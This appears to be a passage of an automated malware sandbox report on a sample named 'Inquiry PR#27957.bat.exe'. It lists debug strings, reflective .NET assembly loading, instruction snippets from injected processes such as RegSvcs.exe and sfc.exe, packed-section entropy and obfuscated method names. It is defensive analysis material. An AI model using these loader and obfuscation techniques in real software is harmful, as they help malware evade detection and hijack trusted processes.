Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: TsdBVAGjsKVoi.exe, 00000010.00000002.3785830920.00000000005CE000.00000002.00000001.01000000.0000000E.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000000.1710209897.00000000005CE000.00000002.00000001.01000000.0000000E.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3785833047.00000000005CE000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000009.00000002.1646176772.00000000015F0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.00000000031C0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1646138502.0000000002E57000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1654535564.000000000300D000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.000000000335E000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1856891406.000000000325A000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1864671639.0000000003400000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.000000000374E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000009.00000002.1646176772.00000000015F0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.00000000031C0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1646138502.0000000002E57000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1654535564.000000000300D000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3788787440.000000000335E000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1856891406.000000000325A000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000003.1864671639.0000000003400000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000013.00000002.1956648404.000000000374E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: sfc.pdb source: RegSvcs.exe, 00000009.00000002.1645624396.0000000001198000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.1856939303.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000003.1875454524.000000000164B000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000002.3787189728.00000000008B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdbGCTL source: RegSvcs.exe, 00000009.00000002.1645624396.0000000001198000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.1856939303.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000003.1875454524.000000000164B000.00000004.00000020.00020000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000002.3787189728.00000000008B7000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: Inquiry PR#27957.bat.exe, --.cs	.Net Code: _0006 System.AppDomain.Load(byte[])
Source: fuqwoDzun.exe.0.dr, --.cs	.Net Code: _0006 System.AppDomain.Load(byte[])
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	.Net Code: NcyApTJRbl System.Reflection.Assembly.Load(byte[])
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	.Net Code: NcyApTJRbl System.Reflection.Assembly.Load(byte[])
Source: 0.2.Inquiry PR#27957.bat.exe.7210000.4.raw.unpack, PingPong.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.Inquiry PR#27957.bat.exe.2f4b620.1.raw.unpack, PingPong.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	.Net Code: NcyApTJRbl System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_0543FD12 pushfd ; iretd	0_2_0543FD19
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Code function: 0_2_07342C92 push E8FFFFFFh; iretd	0_2_07342C9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004181F4 push ecx; ret	9_2_004181F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040D27F push ds; ret	9_2_0040D28D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_004033F0 push eax; ret	9_2_004033F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0041A478 push 00000025h; iretd	9_2_0041A534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0042DC13 push edi; ret	9_2_0042DC1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00413CE1 push 57C83816h; retf	9_2_00413D79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0042349F pushfd ; ret	9_2_004234A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_00413D6A push 57C83816h; retf	9_2_00413D79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0041A515 push 00000025h; iretd	9_2_0041A534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0041A624 push ecx; retf	9_2_0041A625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040C68F push esi; ret	9_2_0040C691
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0041377B push es; retf	9_2_00413782
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0040872A push ecx; ret	9_2_0040872B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015F225F pushad ; ret	9_2_015F27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015F27FA pushad ; ret	9_2_015F27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016209AD push ecx; mov dword ptr [esp], ecx	9_2_016209B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015F283D push eax; iretd	9_2_015F2858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015F1365 push eax; iretd	9_2_015F1369
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Code function: 10_2_06912C92 push E8FFFFFFh; iretd	10_2_06912C9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0114C54D pushfd ; ret	14_2_0114C54E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0114C54F push 8B010D67h; ret	14_2_0114C554
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_011009AD push ecx; mov dword ptr [esp], ecx	14_2_011009B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0114C9D7 push edi; ret	14_2_0114C9D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_010D1368 push eax; iretd	14_2_010D1369
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_010D1FEC push eax; iretd	14_2_010D1FED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01157E99 push ecx; ret	14_2_01157EAC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E543C2 pushfd ; ret	16_2_03E543C3
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E55399 push ecx; iretd	16_2_03E5539F
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Code function: 16_2_03E4B39B push 00000025h; iretd	16_2_03E4B457

Source: Inquiry PR#27957.bat.exe	Static PE information: section name: .text entropy: 7.729262994799031
Source: fuqwoDzun.exe.0.dr	Static PE information: section name: .text entropy: 7.729262994799031

Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, Qv6nKVkMrw0PH54Rlk.cs	High entropy of concatenated method names: 'KpcVugxKbx', 'oXCVjLveUw', 'Gu6Vp9sILu', 'e0pVQfBbeH', 'voEVHVVVrl', 'gk4V2TmTID', 'ARQV9as2NU', 'ivPVKpPDkM', 'X4PVTdfoww', 'XWkV7pN3uY'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, E7cOsiJ5FJYfBJrtfh.cs	High entropy of concatenated method names: 'WD6V61IceB', 'VYgVZoUvqt', 'QIvVbGgFtQ', 'jrhbDt8fLr', 'X1bbzVP55T', 'VACVdifEMp', 'BlqVixqAUA', 'CRaVt0ivpF', 'aIpVWCgdX4', 'ayEVAjc6At'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, YrveFaqHXLxJ3nLH7a.cs	High entropy of concatenated method names: 'PFBp5hZKp', 'D8JQsEOr5', 'yBS2671an', 'FSg9XgxBN', 't6YTb9b5o', 'pq27AivsB', 'tIm94P3jgl7Uw048NG', 'fITJxi9VmKWUxQKOFY', 'Cm4Ifs5Pw', 'xQdRE6vlu'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, QwyVXl69uQASqvDSPL1.cs	High entropy of concatenated method names: 'oWf0ux3hTy', 'GQb0j8mpRg', 'twi0pC49J6', 'fG50QQHaGS', 'YK90HhDut8', 'KAY024VQ7B', 'b8n09BTvht', 'gch0KUGdkH', 'WfQ0TrnaWl', 'vho073BNHn'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, cxQV3w6S9O5x2FnXUAn.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'dcnRqSsxna', 'kgyRMaqZ7k', 'sA6RomV12O', 'seIRkkaWG9', 'a3TRm8Mkyn', 'gx8RxiD35n', 'VSjRv2e1xD'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, SYmI45AmVSdHQuptDI.cs	High entropy of concatenated method names: 'fdPGJVBVbZ', 'jiUGfL8BSY', 'LpYGqCTQlL', 'LBxGM4wh8B', 'EJGG1fIRTO', 'fOcGl78I6r', 'xY3GLVZfaq', 'ClIGOhy55M', 'nUAGg33Zkc', 'TkyGYub174'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, FdDnt7PB3Tv3M2q4yi.cs	High entropy of concatenated method names: 'WfkiVP4Jge', 'oZHiX7EaBT', 'KwAi8SDkJv', 'P9tiNSGK1x', 'XjqiGkh7uL', 'N6Gi50d2Fy', 'w0F8YczxjcXtQNWkUg', 'uBkv9lqloGwsjo1MP8j', 'SZJiiX9CsX', 'OIviWUwKdG'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, R7l61W7Y4qgSklHn9m.cs	High entropy of concatenated method names: 'J9LZQKeMx0', 'ykFZ2LH8PV', 'WOvZKrL5O6', 'xRMZTCV0xn', 'gLaZGgK5Ua', 'Oj1Z5RkMRD', 'IDCZ3xHn0O', 'dA0ZIIEAIY', 'cHIZ0oWkWB', 'th3ZRWfyH8'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	High entropy of concatenated method names: 'cOhWBZU1nM', 'thJW6M7Zry', 'TCKWcG2tlC', 'xGuWZ0XSvu', 'iPxWPnL32u', 'G0bWbseYVy', 't4MWVprckM', 'D28WXvWCpZ', 'GEsWyF2W8a', 'nQFW89mojk'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, A48FpKzWG2N1S4F0iV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QEk04fOwQm', 'tUJ0GCO9ul', 'GQL057o6tX', 'gbZ03pQyZY', 'BSr0ICbsFQ', 'ia100SuCeX', 'uSC0RIe59V'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, oywN7H2nk0EgtXT8BS.cs	High entropy of concatenated method names: 'crR3wexPE8', 'kAI3D4vprv', 'XyqIdtIrMH', 'fhIIive65h', 'zsY3a3DIpK', 'zyi3fN3E3P', 'LpC3e2WUkK', 'OvD3q9jpp3', 'WJ83MTQTfE', 'jnP3oFEl7I'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, QyCCYl8mpv3brNI45u.cs	High entropy of concatenated method names: 'Dispose', 'vu4ihK5lqN', 'Lolt15Q8ZU', 'GfkSSLiWuK', 'vjmiD02Xm0', 'GGmizTcHdA', 'ProcessDialogKey', 'TajtdEIXPV', 'KI5tiMkdWr', 'K08ttnc1dS'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, VPrUvSfspKnJabrj3o.cs	High entropy of concatenated method names: 'YHlbBctKa3', 'nZcbcjkdif', 'JNEbP2WiON', 'nuZbVbj6om', 'z79bXYfCAK', 'j0sPmZ8c1r', 'CEIPxaCmqJ', 'vjvPv9SDh3', 'b8uPwlkVls', 'HKxPhj4OgU'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, F5jrSH1cjhF6BXAvsS.cs	High entropy of concatenated method names: 'uwLPHA8OQM', 'SntP9ggPVF', 'DjfZlvQ00T', 'ITvZLddUqj', 'fe2ZOCfcXH', 'Jb4Zg4dqe3', 'gTHZYnSYY6', 'H8CZUFFl7i', 'K3kZE8oAhM', 'fELZJh1sNO'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, MWAaqsCjcPmuK8pvZQ.cs	High entropy of concatenated method names: 'VYyIFKKLoc', 'E2gI1MUWIK', 'iI0IlNMXWI', 'zymIL3sLVS', 'MefIq0BkDQ', 'ScIIOs0jXj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, b9060lgXpIuMEFTtMf.cs	High entropy of concatenated method names: 'LZrcqFejME', 'VR8cMHQbf5', 'MCccoXwTGu', 'gxsckCdFcn', 'M3JcmA3qAb', 'IQlcxoFJwI', 'qN4cvyVOR3', 'VCUcw9tynr', 'f4Uch0vHqS', 'X1ZcDVFB3e'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, gPoWFxhx262UMoc7vh.cs	High entropy of concatenated method names: 'QwibC6E5MF', 'znSbuCQ9u8', 'Lk3bp8yq23', 's4YbQWIdnU', 'UBPb2rQIXZ', 'muKb9wRFlj', 'r3XbTt2E2m', 'GaUb7dyBe1', 'obw49p5ncWwy07BfqTO', 'd0ql2U50OwIV3ITGnt8'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, qxWLsh0o1oZb7o8vhC.cs	High entropy of concatenated method names: 'JprI6prXOl', 'lMXIcY8irO', 'H4jIZC4HRQ', 'LHMIPFU9AJ', 'idjIbX2i3v', 'fqHIVQWTd3', 'BUEIXTb88a', 'wpBIykQ4yh', 'nRfI8ooUQ8', 'SVKIN7lUUu'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, uUHGUwQ8UxCOAsbsCR.cs	High entropy of concatenated method names: 'zhU4KDdxOY', 'QAF4TPN6EO', 'kFx4FVnnfp', 'VpX41PR3iT', 'Nsf4LTOhIU', 'NTu4OgncMM', 'TEe4Yg4Tvo', 'yoM4UMeYw3', 'SB74Jkn6jq', 'Tt44avrLMT'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, VFJ7f6mhMZvHGAEqjh.cs	High entropy of concatenated method names: 'wPO38coWce', 'BQa3NkCeiC', 'ToString', 'bOV36lxBtb', 'hUm3ciI99g', 'OOW3ZeO0HR', 'mZJ3P73tg4', 'YOs3bxphbk', 'p063V5abgs', 'ffq3XdNGZj'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, mDomuj3kbVoYZcXPk7.cs	High entropy of concatenated method names: 'tTa0it1pnn', 'mJZ0WsOdX2', 'PAH0ABdFLw', 'M3W06IWo4p', 'dhI0c0I9UF', 'FrR0Pp7t0w', 'd4s0bavID1', 'DwiIvw9un3', 'Di0IwXDIUO', 'B8RIh5jBc6'
Source: 0.2.Inquiry PR#27957.bat.exe.42a0560.3.raw.unpack, xbiPAnwtp187E2yj75.cs	High entropy of concatenated method names: 'ToString', 'mVs5aBPEo2', 'rEM51GTygT', 'qev5lyNvWb', 'MXP5LtcKLU', 'SBd5Os0Dml', 'Dwt5gSugOv', 'bee5YSFoUx', 'xy35UGHha2', 'q9i5E5Em1C'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, Qv6nKVkMrw0PH54Rlk.cs	High entropy of concatenated method names: 'KpcVugxKbx', 'oXCVjLveUw', 'Gu6Vp9sILu', 'e0pVQfBbeH', 'voEVHVVVrl', 'gk4V2TmTID', 'ARQV9as2NU', 'ivPVKpPDkM', 'X4PVTdfoww', 'XWkV7pN3uY'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, E7cOsiJ5FJYfBJrtfh.cs	High entropy of concatenated method names: 'WD6V61IceB', 'VYgVZoUvqt', 'QIvVbGgFtQ', 'jrhbDt8fLr', 'X1bbzVP55T', 'VACVdifEMp', 'BlqVixqAUA', 'CRaVt0ivpF', 'aIpVWCgdX4', 'ayEVAjc6At'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, YrveFaqHXLxJ3nLH7a.cs	High entropy of concatenated method names: 'PFBp5hZKp', 'D8JQsEOr5', 'yBS2671an', 'FSg9XgxBN', 't6YTb9b5o', 'pq27AivsB', 'tIm94P3jgl7Uw048NG', 'fITJxi9VmKWUxQKOFY', 'Cm4Ifs5Pw', 'xQdRE6vlu'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, QwyVXl69uQASqvDSPL1.cs	High entropy of concatenated method names: 'oWf0ux3hTy', 'GQb0j8mpRg', 'twi0pC49J6', 'fG50QQHaGS', 'YK90HhDut8', 'KAY024VQ7B', 'b8n09BTvht', 'gch0KUGdkH', 'WfQ0TrnaWl', 'vho073BNHn'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, cxQV3w6S9O5x2FnXUAn.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'dcnRqSsxna', 'kgyRMaqZ7k', 'sA6RomV12O', 'seIRkkaWG9', 'a3TRm8Mkyn', 'gx8RxiD35n', 'VSjRv2e1xD'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, SYmI45AmVSdHQuptDI.cs	High entropy of concatenated method names: 'fdPGJVBVbZ', 'jiUGfL8BSY', 'LpYGqCTQlL', 'LBxGM4wh8B', 'EJGG1fIRTO', 'fOcGl78I6r', 'xY3GLVZfaq', 'ClIGOhy55M', 'nUAGg33Zkc', 'TkyGYub174'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, FdDnt7PB3Tv3M2q4yi.cs	High entropy of concatenated method names: 'WfkiVP4Jge', 'oZHiX7EaBT', 'KwAi8SDkJv', 'P9tiNSGK1x', 'XjqiGkh7uL', 'N6Gi50d2Fy', 'w0F8YczxjcXtQNWkUg', 'uBkv9lqloGwsjo1MP8j', 'SZJiiX9CsX', 'OIviWUwKdG'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, R7l61W7Y4qgSklHn9m.cs	High entropy of concatenated method names: 'J9LZQKeMx0', 'ykFZ2LH8PV', 'WOvZKrL5O6', 'xRMZTCV0xn', 'gLaZGgK5Ua', 'Oj1Z5RkMRD', 'IDCZ3xHn0O', 'dA0ZIIEAIY', 'cHIZ0oWkWB', 'th3ZRWfyH8'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	High entropy of concatenated method names: 'cOhWBZU1nM', 'thJW6M7Zry', 'TCKWcG2tlC', 'xGuWZ0XSvu', 'iPxWPnL32u', 'G0bWbseYVy', 't4MWVprckM', 'D28WXvWCpZ', 'GEsWyF2W8a', 'nQFW89mojk'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, A48FpKzWG2N1S4F0iV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QEk04fOwQm', 'tUJ0GCO9ul', 'GQL057o6tX', 'gbZ03pQyZY', 'BSr0ICbsFQ', 'ia100SuCeX', 'uSC0RIe59V'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, oywN7H2nk0EgtXT8BS.cs	High entropy of concatenated method names: 'crR3wexPE8', 'kAI3D4vprv', 'XyqIdtIrMH', 'fhIIive65h', 'zsY3a3DIpK', 'zyi3fN3E3P', 'LpC3e2WUkK', 'OvD3q9jpp3', 'WJ83MTQTfE', 'jnP3oFEl7I'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, QyCCYl8mpv3brNI45u.cs	High entropy of concatenated method names: 'Dispose', 'vu4ihK5lqN', 'Lolt15Q8ZU', 'GfkSSLiWuK', 'vjmiD02Xm0', 'GGmizTcHdA', 'ProcessDialogKey', 'TajtdEIXPV', 'KI5tiMkdWr', 'K08ttnc1dS'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, VPrUvSfspKnJabrj3o.cs	High entropy of concatenated method names: 'YHlbBctKa3', 'nZcbcjkdif', 'JNEbP2WiON', 'nuZbVbj6om', 'z79bXYfCAK', 'j0sPmZ8c1r', 'CEIPxaCmqJ', 'vjvPv9SDh3', 'b8uPwlkVls', 'HKxPhj4OgU'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, F5jrSH1cjhF6BXAvsS.cs	High entropy of concatenated method names: 'uwLPHA8OQM', 'SntP9ggPVF', 'DjfZlvQ00T', 'ITvZLddUqj', 'fe2ZOCfcXH', 'Jb4Zg4dqe3', 'gTHZYnSYY6', 'H8CZUFFl7i', 'K3kZE8oAhM', 'fELZJh1sNO'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, MWAaqsCjcPmuK8pvZQ.cs	High entropy of concatenated method names: 'VYyIFKKLoc', 'E2gI1MUWIK', 'iI0IlNMXWI', 'zymIL3sLVS', 'MefIq0BkDQ', 'ScIIOs0jXj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, b9060lgXpIuMEFTtMf.cs	High entropy of concatenated method names: 'LZrcqFejME', 'VR8cMHQbf5', 'MCccoXwTGu', 'gxsckCdFcn', 'M3JcmA3qAb', 'IQlcxoFJwI', 'qN4cvyVOR3', 'VCUcw9tynr', 'f4Uch0vHqS', 'X1ZcDVFB3e'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, gPoWFxhx262UMoc7vh.cs	High entropy of concatenated method names: 'QwibC6E5MF', 'znSbuCQ9u8', 'Lk3bp8yq23', 's4YbQWIdnU', 'UBPb2rQIXZ', 'muKb9wRFlj', 'r3XbTt2E2m', 'GaUb7dyBe1', 'obw49p5ncWwy07BfqTO', 'd0ql2U50OwIV3ITGnt8'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, qxWLsh0o1oZb7o8vhC.cs	High entropy of concatenated method names: 'JprI6prXOl', 'lMXIcY8irO', 'H4jIZC4HRQ', 'LHMIPFU9AJ', 'idjIbX2i3v', 'fqHIVQWTd3', 'BUEIXTb88a', 'wpBIykQ4yh', 'nRfI8ooUQ8', 'SVKIN7lUUu'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, uUHGUwQ8UxCOAsbsCR.cs	High entropy of concatenated method names: 'zhU4KDdxOY', 'QAF4TPN6EO', 'kFx4FVnnfp', 'VpX41PR3iT', 'Nsf4LTOhIU', 'NTu4OgncMM', 'TEe4Yg4Tvo', 'yoM4UMeYw3', 'SB74Jkn6jq', 'Tt44avrLMT'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, VFJ7f6mhMZvHGAEqjh.cs	High entropy of concatenated method names: 'wPO38coWce', 'BQa3NkCeiC', 'ToString', 'bOV36lxBtb', 'hUm3ciI99g', 'OOW3ZeO0HR', 'mZJ3P73tg4', 'YOs3bxphbk', 'p063V5abgs', 'ffq3XdNGZj'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, mDomuj3kbVoYZcXPk7.cs	High entropy of concatenated method names: 'tTa0it1pnn', 'mJZ0WsOdX2', 'PAH0ABdFLw', 'M3W06IWo4p', 'dhI0c0I9UF', 'FrR0Pp7t0w', 'd4s0bavID1', 'DwiIvw9un3', 'Di0IwXDIUO', 'B8RIh5jBc6'
Source: 0.2.Inquiry PR#27957.bat.exe.7290000.7.raw.unpack, xbiPAnwtp187E2yj75.cs	High entropy of concatenated method names: 'ToString', 'mVs5aBPEo2', 'rEM51GTygT', 'qev5lyNvWb', 'MXP5LtcKLU', 'SBd5Os0Dml', 'Dwt5gSugOv', 'bee5YSFoUx', 'xy35UGHha2', 'q9i5E5Em1C'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, Qv6nKVkMrw0PH54Rlk.cs	High entropy of concatenated method names: 'KpcVugxKbx', 'oXCVjLveUw', 'Gu6Vp9sILu', 'e0pVQfBbeH', 'voEVHVVVrl', 'gk4V2TmTID', 'ARQV9as2NU', 'ivPVKpPDkM', 'X4PVTdfoww', 'XWkV7pN3uY'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, E7cOsiJ5FJYfBJrtfh.cs	High entropy of concatenated method names: 'WD6V61IceB', 'VYgVZoUvqt', 'QIvVbGgFtQ', 'jrhbDt8fLr', 'X1bbzVP55T', 'VACVdifEMp', 'BlqVixqAUA', 'CRaVt0ivpF', 'aIpVWCgdX4', 'ayEVAjc6At'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, YrveFaqHXLxJ3nLH7a.cs	High entropy of concatenated method names: 'PFBp5hZKp', 'D8JQsEOr5', 'yBS2671an', 'FSg9XgxBN', 't6YTb9b5o', 'pq27AivsB', 'tIm94P3jgl7Uw048NG', 'fITJxi9VmKWUxQKOFY', 'Cm4Ifs5Pw', 'xQdRE6vlu'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, QwyVXl69uQASqvDSPL1.cs	High entropy of concatenated method names: 'oWf0ux3hTy', 'GQb0j8mpRg', 'twi0pC49J6', 'fG50QQHaGS', 'YK90HhDut8', 'KAY024VQ7B', 'b8n09BTvht', 'gch0KUGdkH', 'WfQ0TrnaWl', 'vho073BNHn'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, cxQV3w6S9O5x2FnXUAn.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'dcnRqSsxna', 'kgyRMaqZ7k', 'sA6RomV12O', 'seIRkkaWG9', 'a3TRm8Mkyn', 'gx8RxiD35n', 'VSjRv2e1xD'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, SYmI45AmVSdHQuptDI.cs	High entropy of concatenated method names: 'fdPGJVBVbZ', 'jiUGfL8BSY', 'LpYGqCTQlL', 'LBxGM4wh8B', 'EJGG1fIRTO', 'fOcGl78I6r', 'xY3GLVZfaq', 'ClIGOhy55M', 'nUAGg33Zkc', 'TkyGYub174'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, FdDnt7PB3Tv3M2q4yi.cs	High entropy of concatenated method names: 'WfkiVP4Jge', 'oZHiX7EaBT', 'KwAi8SDkJv', 'P9tiNSGK1x', 'XjqiGkh7uL', 'N6Gi50d2Fy', 'w0F8YczxjcXtQNWkUg', 'uBkv9lqloGwsjo1MP8j', 'SZJiiX9CsX', 'OIviWUwKdG'
